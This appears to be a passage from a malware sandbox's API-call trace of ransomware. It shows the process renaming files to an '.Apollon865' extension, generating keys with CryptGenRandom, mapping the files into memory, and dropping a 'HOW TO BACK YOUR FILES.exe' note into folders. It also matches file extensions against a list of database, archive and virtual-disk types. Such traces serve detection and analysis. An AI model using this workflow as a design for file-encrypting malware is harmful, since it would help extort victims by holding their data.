	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="vvv") returned -1
	[0084.823] lstrlenW (lpString="wdb") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="wdb") returned -1
	[0084.823] lstrlenW (lpString="wmdb") returned 4
	[0084.823] lstrcmpiW (lpString1=".GRL", lpString2="wmdb") returned -1
	[0084.823] lstrlenW (lpString="wrk") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="wrk") returned -1
	[0084.823] lstrlenW (lpString="xdb") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="xdb") returned -1
	[0084.823] lstrlenW (lpString="xld") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="xld") returned -1
	[0084.823] lstrlenW (lpString="xmlff") returned 5
	[0084.823] lstrcmpiW (lpString1="g.GRL", lpString2="xmlff") returned -1
	[0084.823] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.Apollon865") returned 54
	[0084.823] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl.apollon865"), dwFlags=0x1) returned 1
	[0084.826] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.826] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=14972) returned 1
	[0084.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.826] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.827] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.827] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.827] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d80, lpName=0x0) returned 0x15c
	[0084.829] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d80) returned 0x100000
	[0084.830] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.831] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.831] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0084.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0084.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.832] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0084.832] CloseHandle (hObject=0x15c) returned 1
	[0084.832] CloseHandle (hObject=0x9c) returned 1
	[0084.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.832] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0
	[0084.832] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.832] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7990
	[0084.832] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Media Player", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Media Player") returned="C:\\Users\\All Users\\Microsoft\\Media Player"
	[0084.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598528 | out: hHeap=0x580000) returned 1
	[0084.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0084.832] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Media Player") returned 41
	[0084.832] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Media Player" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Media Player") returned="C:\\Users\\All Users\\Microsoft\\Media Player"
	[0084.832] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.833] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.833] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.834] GetLastError () returned 0x0
	[0084.834] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.834] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.834] CloseHandle (hObject=0x10c) returned 1
	[0084.834] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.834] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.834] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.834] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.834] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.834] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.834] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.834] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.834] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.834] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.834] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.834] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc2c210, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.834] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.834] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc2c210, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.834] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.835] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b10
	[0084.835] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\IdentityCRL", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL"
	[0084.835] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5984c8 | out: hHeap=0x580000) returned 1
	[0084.835] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0084.835] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned 40
	[0084.835] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\IdentityCRL" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL"
	[0084.835] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.835] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.835] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.836] GetLastError () returned 0x0
	[0084.836] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.836] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.836] CloseHandle (hObject=0x10c) returned 1
	[0084.836] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.836] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.836] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.836] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.836] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.836] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.836] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.836] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.836] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.836] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.836] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.836] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc52370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.836] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.836] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1
	[0084.836] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.836] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="Apollon865.txt.exe") returned 1
	[0084.836] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".") returned 1
	[0084.836] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="..") returned 1
	[0084.836] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="windows") returned -1
	[0084.836] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="bootmgr") returned 1
	[0084.836] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="temp") returned -1
	[0084.836] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="pagefile.sys") returned 1
	[0084.836] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="boot") returned 1
	[0084.837] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="ids.txt") returned 1
	[0084.837] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="ntuser.dat") returned 1
	[0084.837] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="perflogs") returned 1
	[0084.837] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="MSBuild") returned 1
	[0084.837] lstrlenW (lpString="ppcrlconfig.dll") returned 15
	[0084.837] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*") returned 42
	[0084.837] lstrcpyW (in: lpString1=0x119e65a, lpString2="ppcrlconfig.dll" | out: lpString1="ppcrlconfig.dll") returned="ppcrlconfig.dll"
	[0084.837] lstrlenW (lpString="ppcrlconfig.dll") returned 15
	[0084.837] lstrlenW (lpString="Apollon865") returned 10
	[0084.837] lstrcmpiW (lpString1="config.dll", lpString2="Apollon865") returned 1
	[0084.837] lstrlenW (lpString=".dll") returned 4
	[0084.837] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".dll") returned 1
	[0084.837] lstrlenW (lpString=".lnk") returned 4
	[0084.837] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".lnk") returned 1
	[0084.837] lstrlenW (lpString=".ini") returned 4
	[0084.837] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".ini") returned 1
	[0084.837] lstrlenW (lpString=".sys") returned 4
	[0084.837] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".sys") returned 1
	[0084.837] lstrlenW (lpString="ppcrlconfig.dll") returned 15
	[0084.837] lstrlenW (lpString="bak") returned 3
	[0084.837] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0084.837] lstrlenW (lpString="ba_") returned 3
	[0084.837] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0084.837] lstrlenW (lpString="dbb") returned 3
	[0084.837] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0084.837] lstrlenW (lpString="vmdk") returned 4
	[0084.837] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0084.837] lstrlenW (lpString="rar") returned 3
	[0084.837] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0084.837] lstrlenW (lpString="zip") returned 3
	[0084.837] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0084.837] lstrlenW (lpString="tgz") returned 3
	[0084.837] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0084.837] lstrlenW (lpString="vbox") returned 4
	[0084.837] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0084.837] lstrlenW (lpString="vdi") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0084.838] lstrlenW (lpString="vhd") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0084.838] lstrlenW (lpString="vhdx") returned 4
	[0084.838] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0084.838] lstrlenW (lpString="avhd") returned 4
	[0084.838] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0084.838] lstrlenW (lpString="db") returned 2
	[0084.838] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0084.838] lstrlenW (lpString="db2") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0084.838] lstrlenW (lpString="db3") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0084.838] lstrlenW (lpString="dbf") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0084.838] lstrlenW (lpString="mdf") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0084.838] lstrlenW (lpString="mdb") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0084.838] lstrlenW (lpString="sql") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0084.838] lstrlenW (lpString="sqlite") returned 6
	[0084.838] lstrcmpiW (lpString1="ig.dll", lpString2="sqlite") returned -1
	[0084.838] lstrlenW (lpString="sqlite3") returned 7
	[0084.838] lstrcmpiW (lpString1="fig.dll", lpString2="sqlite3") returned -1
	[0084.838] lstrlenW (lpString="sqlitedb") returned 8
	[0084.838] lstrcmpiW (lpString1="nfig.dll", lpString2="sqlitedb") returned -1
	[0084.838] lstrlenW (lpString="xml") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0084.838] lstrlenW (lpString="$er") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0084.838] lstrlenW (lpString="4dd") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0084.838] lstrlenW (lpString="4dl") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0084.838] lstrlenW (lpString="^^^") returned 3
	[0084.838] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0084.838] lstrlenW (lpString="abs") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0084.839] lstrlenW (lpString="abx") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0084.839] lstrlenW (lpString="accdb") returned 5
	[0084.839] lstrcmpiW (lpString1="g.dll", lpString2="accdb") returned 1
	[0084.839] lstrlenW (lpString="accdc") returned 5
	[0084.839] lstrcmpiW (lpString1="g.dll", lpString2="accdc") returned 1
	[0084.839] lstrlenW (lpString="accde") returned 5
	[0084.839] lstrcmpiW (lpString1="g.dll", lpString2="accde") returned 1
	[0084.839] lstrlenW (lpString="accdr") returned 5
	[0084.839] lstrcmpiW (lpString1="g.dll", lpString2="accdr") returned 1
	[0084.839] lstrlenW (lpString="accdt") returned 5
	[0084.839] lstrcmpiW (lpString1="g.dll", lpString2="accdt") returned 1
	[0084.839] lstrlenW (lpString="accdw") returned 5
	[0084.839] lstrcmpiW (lpString1="g.dll", lpString2="accdw") returned 1
	[0084.839] lstrlenW (lpString="accft") returned 5
	[0084.839] lstrcmpiW (lpString1="g.dll", lpString2="accft") returned 1
	[0084.839] lstrlenW (lpString="adb") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.839] lstrlenW (lpString="adb") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.839] lstrlenW (lpString="ade") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0084.839] lstrlenW (lpString="adf") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0084.839] lstrlenW (lpString="adn") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0084.839] lstrlenW (lpString="adp") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0084.839] lstrlenW (lpString="alf") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0084.839] lstrlenW (lpString="ask") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0084.839] lstrlenW (lpString="btr") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0084.839] lstrlenW (lpString="cat") returned 3
	[0084.839] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0084.839] lstrlenW (lpString="cdb") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0084.840] lstrlenW (lpString="ckp") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0084.840] lstrlenW (lpString="cma") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0084.840] lstrlenW (lpString="cpd") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0084.840] lstrlenW (lpString="dacpac") returned 6
	[0084.840] lstrcmpiW (lpString1="ig.dll", lpString2="dacpac") returned 1
	[0084.840] lstrlenW (lpString="dad") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0084.840] lstrlenW (lpString="dadiagrams") returned 10
	[0084.840] lstrcmpiW (lpString1="config.dll", lpString2="dadiagrams") returned -1
	[0084.840] lstrlenW (lpString="daschema") returned 8
	[0084.840] lstrcmpiW (lpString1="nfig.dll", lpString2="daschema") returned 1
	[0084.840] lstrlenW (lpString="db-journal") returned 10
	[0084.840] lstrcmpiW (lpString1="config.dll", lpString2="db-journal") returned -1
	[0084.840] lstrlenW (lpString="db-shm") returned 6
	[0084.840] lstrcmpiW (lpString1="ig.dll", lpString2="db-shm") returned 1
	[0084.840] lstrlenW (lpString="db-wal") returned 6
	[0084.840] lstrcmpiW (lpString1="ig.dll", lpString2="db-wal") returned 1
	[0084.840] lstrlenW (lpString="dbc") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0084.840] lstrlenW (lpString="dbs") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0084.840] lstrlenW (lpString="dbt") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0084.840] lstrlenW (lpString="dbv") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0084.840] lstrlenW (lpString="dbx") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0084.840] lstrlenW (lpString="dcb") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0084.840] lstrlenW (lpString="dct") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0084.840] lstrlenW (lpString="dcx") returned 3
	[0084.840] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0084.841] lstrlenW (lpString="ddl") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0084.841] lstrlenW (lpString="dlis") returned 4
	[0084.841] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0084.841] lstrlenW (lpString="dp1") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0084.841] lstrlenW (lpString="dqy") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0084.841] lstrlenW (lpString="dsk") returned 3
	[0084.841] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
